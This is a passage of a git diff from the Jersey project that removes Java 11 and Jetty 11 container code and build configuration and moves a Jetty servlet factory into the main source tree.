-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
similarity index 99%
rename from containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
rename to containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
index 5ada3ed..206c415 100644
--- a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ b/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
deleted file mode 100644
index afbec62..0000000
--- a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ /dev/null
@@ -1,239 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.servlet;
-
-import jakarta.servlet.Servlet;
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.servlet.ServletContainer;
-
-import java.net.URI;
-import java.util.Map;
-
-/**
- * Factory for creating and starting Jetty {@link Server} instances
- * for deploying a Servlet.
- * <p/>
- * The default deployed server is an instance of {@link ServletContainer}.
- * <p/>
- * If no initialization parameters are declared (or is null) then root
- * resource and provider classes will be found by searching the classes
- * referenced in the java classpath.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public final class JettyWebContainerFactory {
-
-    private JettyWebContainerFactory() {
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u));
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Map<String, String> initParams)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u)
-            throws Exception {
-        return create(u, ServletContainer.class);
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Map<String, String> initParams)
-            throws Exception {
-        return create(u, ServletContainer.class, initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @param c the servlet class.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Class<? extends Servlet> c)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), c);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param c          the servlet class.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Class<? extends Servlet> c,
-                                Map<String, String> initParams)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), c, initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @param c the servlet class.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Class<? extends Servlet> c)
-            throws Exception {
-        return create(u, c, null);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param c          the servlet class.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
-            throws Exception {
-        return create(u, c, null, initParams, null);
-    }
-
-    private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
-                                 Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet instance.
-     *
-     * @param u                 the URI to create the HTTP server. The URI scheme must be
-     *                          equal to "http". The URI user information and host
-     *                          are ignored If the URI port is not present then port 80 will be
-     *                          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                          as context path, the rest will be ignored.
-     * @param servlet           the servlet instance.
-     * @param initParams        the servlet initialization parameters.
-     * @param contextInitParams the servlet context initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        if (servlet == null) {
-            throw new IllegalArgumentException("The servlet must not be null");
-        }
-        return create(u, null, servlet, initParams, contextInitParams);
-    }
-}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
deleted file mode 100644
index 6504f0e..0000000
--- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml
deleted file mode 100644
index 154d085..0000000
--- a/containers/jetty11-http/pom.xml
+++ /dev/null
@@ -1,134 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-jetty11-http</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-jetty11-http</name>
-
-    <description>Jetty 11 Http Container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-         <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty.toolchain</groupId>
-                    <artifactId>jetty-jakarta-servlet-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.slf4j</groupId>
-            <artifactId>slf4j-api</artifactId>
-            <version>${slf4j.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.servlet</groupId>
-            <artifactId>jakarta.servlet-api</artifactId>
-            <scope>provided</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-enforcer-plugin</artifactId>
-                <configuration>
-                    <rulesToSkip>dependencyConvergence</rulesToSkip>
-                </configuration>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
deleted file mode 100644
index dc680a3..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ /dev/null
@@ -1,510 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.servlet.AsyncContext;
-import jakarta.servlet.AsyncEvent;
-import jakarta.servlet.AsyncListener;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.internal.ContainerUtils;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-
-import org.eclipse.jetty.http.HttpStatus;
-import org.eclipse.jetty.server.Request;
-import org.eclipse.jetty.server.Response;
-import org.eclipse.jetty.server.handler.AbstractHandler;
-
-/**
- * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Libor Kramolis
- * @author Marek Potociar
- */
-public final class JettyHttpContainer extends AbstractHandler implements Container {
-
-    private static final ExtendedLogger LOGGER =
-            new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
-
-    private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
-    private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
-
-    private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
-    private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
-
-    /**
-     * Cached value of configuration property
-     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
-     * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
-     */
-    private boolean configSetStatusOverSendError;
-
-    /**
-     * Referencing factory for Jetty request.
-     */
-    private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
-        @Inject
-        public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Jetty response.
-     */
-    private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
-        @Inject
-        public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * An internal binder to enable Jetty HTTP container specific types injection.
-     * This binder allows to inject underlying Jetty HTTP request and response instances.
-     * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
-     * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
-     * {@link jakarta.inject.Provider injection provider}.
-     */
-    private static class JettyBinder extends AbstractBinder {
-
-        @Override
-        protected void configure() {
-            bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
-
-            bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
-        }
-    }
-
-    private volatile ApplicationHandler appHandler;
-
-    @Override
-    public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
-                       final HttpServletResponse httpServletResponse) throws IOException, ServletException {
-
-        if (request.isHandled()) {
-            return;
-        }
-
-        final Response response = request.getResponse();
-        final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
-        try {
-            LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
-            final URI baseUri = getBaseUri(request);
-            final URI requestUri = getRequestUri(request, baseUri);
-            final ContainerRequest requestContext = new ContainerRequest(
-                    baseUri,
-                    requestUri,
-                    request.getMethod(),
-                    getSecurityContext(request),
-                    new MapPropertiesDelegate(),
-                    appHandler.getConfiguration());
-            requestContext.setEntityStream(request.getInputStream());
-            final Enumeration<String> headerNames = request.getHeaderNames();
-            while (headerNames.hasMoreElements()) {
-                final String headerName = headerNames.nextElement();
-                String headerValue = request.getHeader(headerName);
-                requestContext.headers(headerName, headerValue == null ? "" : headerValue);
-            }
-            requestContext.setWriter(responseWriter);
-            requestContext.setRequestScopedInitializer(injectionManager -> {
-                injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
-                injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
-            });
-
-            // Mark the request as handled before generating the body of the response
-            request.setHandled(true);
-            appHandler.handle(requestContext);
-        } catch (URISyntaxException e) {
-            setResponseForInvalidUri(response, e);
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        }
-    }
-
-    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
-        final String serverAddress = getServerAddress(baseUri);
-        String uri = request.getRequestURI();
-
-        final String queryString = request.getQueryString();
-        if (queryString != null) {
-            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-        }
-
-        return new URI(serverAddress + uri);
-    }
-
-    private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
-        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
-
-        if (configSetStatusOverSendError) {
-            response.reset();
-            //noinspection deprecation
-            response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
-        } else {
-            response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
-        }
-    }
-
-    private String getServerAddress(URI baseUri) {
-        String serverAddress = baseUri.toString();
-        if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
-            return serverAddress.substring(0, serverAddress.length() - 1);
-        }
-        return serverAddress;
-    }
-
-    private SecurityContext getSecurityContext(final Request request) {
-        return new SecurityContext() {
-
-            @Override
-            public boolean isUserInRole(final String role) {
-                return request.isUserInRole(role);
-            }
-
-            @Override
-            public boolean isSecure() {
-                return request.isSecure();
-            }
-
-            @Override
-            public Principal getUserPrincipal() {
-                return request.getUserPrincipal();
-            }
-
-            @Override
-            public String getAuthenticationScheme() {
-                return request.getAuthType();
-            }
-        };
-    }
-
-
-    private URI getBaseUri(final Request request) throws URISyntaxException {
-        return new URI(request.getScheme(), null, request.getServerName(),
-                request.getServerPort(), getBasePath(request), null, null);
-    }
-
-    private String getBasePath(final Request request) {
-        final String contextPath = request.getContextPath();
-
-        if (contextPath == null || contextPath.isEmpty()) {
-            return "/";
-        } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
-            return contextPath + "/";
-        } else {
-            return contextPath;
-        }
-    }
-
-    private static final class ResponseWriter implements ContainerResponseWriter {
-
-        private final Response response;
-        private final AsyncContext context;
-        private final boolean configSetStatusOverSendError;
-
-        ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
-            this.response = response;
-            this.context = request.startAsync();
-            this.configSetStatusOverSendError = configSetStatusOverSendError;
-        }
-
-        @Override
-        public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
-                throws ContainerException {
-
-            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
-            final int code = statusInfo.getStatusCode();
-            final String reason = statusInfo.getReasonPhrase() == null
-                    ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
-
-            response.setStatusWithReason(code, reason);
-
-            if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
-                response.setContentLength((int) contentLength);
-            }
-            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
-                for (final String value : e.getValue()) {
-                    response.addHeader(e.getKey(), value);
-                }
-            }
-
-            try {
-                return response.getOutputStream();
-            } catch (final IOException ioe) {
-                throw new ContainerException("Error during writing out the response headers.", ioe);
-            }
-        }
-
-        @Override
-        public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
-            try {
-                if (timeOut > 0) {
-                    final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                    context.setTimeout(timeoutMillis);
-                }
-                context.addListener(new AsyncListener() {
-                    @Override
-                    public void onComplete(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onTimeout(AsyncEvent asyncEvent) throws IOException {
-                        if (timeoutHandler != null) {
-                            timeoutHandler.onTimeout(ResponseWriter.this);
-                        }
-                    }
-
-                    @Override
-                    public void onError(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-                });
-                return true;
-            } catch (final Exception ex) {
-                return false;
-            }
-        }
-
-        @Override
-        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
-            if (timeOut > 0) {
-                final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                context.setTimeout(timeoutMillis);
-            }
-        }
-
-        @Override
-        public void commit() {
-            try {
-                closeOutput(response);
-            } catch (final IOException e) {
-                LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
-            } finally {
-                if (context.getRequest().isAsyncStarted()) {
-                    context.complete();
-                }
-                LOGGER.log(Level.FINEST, "commit() called");
-            }
-        }
-
-        private void closeOutput(Response response) throws IOException {
-            try {
-                response.completeOutput();
-            } catch (final IOException e) {
-                throw e;
-            } catch (NoSuchMethodError e) {
-                // try older Jetty Response#closeOutput
-                try {
-                    Method method = response.getClass().getMethod("closeOutput");
-                    method.invoke(response);
-                } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
-                    throw new IOException(ex);
-                }
-            }
-        }
-
-        @Override
-        public void failure(final Throwable error) {
-            try {
-                if (!response.isCommitted()) {
-                    try {
-                        if (configSetStatusOverSendError) {
-                            response.reset();
-                            //noinspection deprecation
-                            response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
-                        } else {
-                            response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
-                        }
-                    } catch (final IllegalStateException ex) {
-                        // a race condition externally committing the response can still occur...
-                        LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
-                    } catch (final IOException ex) {
-                        throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
-                                "Request failed."), ex);
-                    }
-                }
-            } finally {
-                LOGGER.log(Level.FINEST, "failure(...) called");
-                commit();
-                rethrow(error);
-            }
-        }
-
-        @Override
-        public boolean enableResponseBuffering() {
-            return false;
-        }
-
-        /**
-         * Rethrow the original exception as required by JAX-RS, 3.3.4.
-         *
-         * @param error throwable to be re-thrown
-         */
-        private void rethrow(final Throwable error) {
-            if (error instanceof RuntimeException) {
-                throw (RuntimeException) error;
-            } else {
-                throw new ContainerException(error);
-            }
-        }
-
-    }
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        return appHandler.getConfiguration();
-    }
-
-    @Override
-    public void reload() {
-        reload(new ResourceConfig(getConfiguration()));
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        appHandler.onShutdown(this);
-
-        appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
-        appHandler.onReload(this);
-        appHandler.onStartup(this);
-        cacheConfigSetStatusOverSendError();
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        return appHandler;
-    }
-
-    /**
-     * Inform this container that the server has been started.
-     * This method must be implicitly called after the server containing this container is started.
-     *
-     * @throws java.lang.Exception if a problem occurred during server startup.
-     */
-    @Override
-    protected void doStart() throws Exception {
-        super.doStart();
-        appHandler.onStartup(this);
-    }
-
-    /**
-     * Inform this container that the server is being stopped.
-     * This method must be implicitly called before the server containing this container is stopped.
-     *
-     * @throws java.lang.Exception if a problem occurred during server shutdown.
-     */
-    @Override
-    public void doStop() throws Exception {
-        super.doStop();
-        appHandler.onShutdown(this);
-        appHandler = null;
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    JettyHttpContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     */
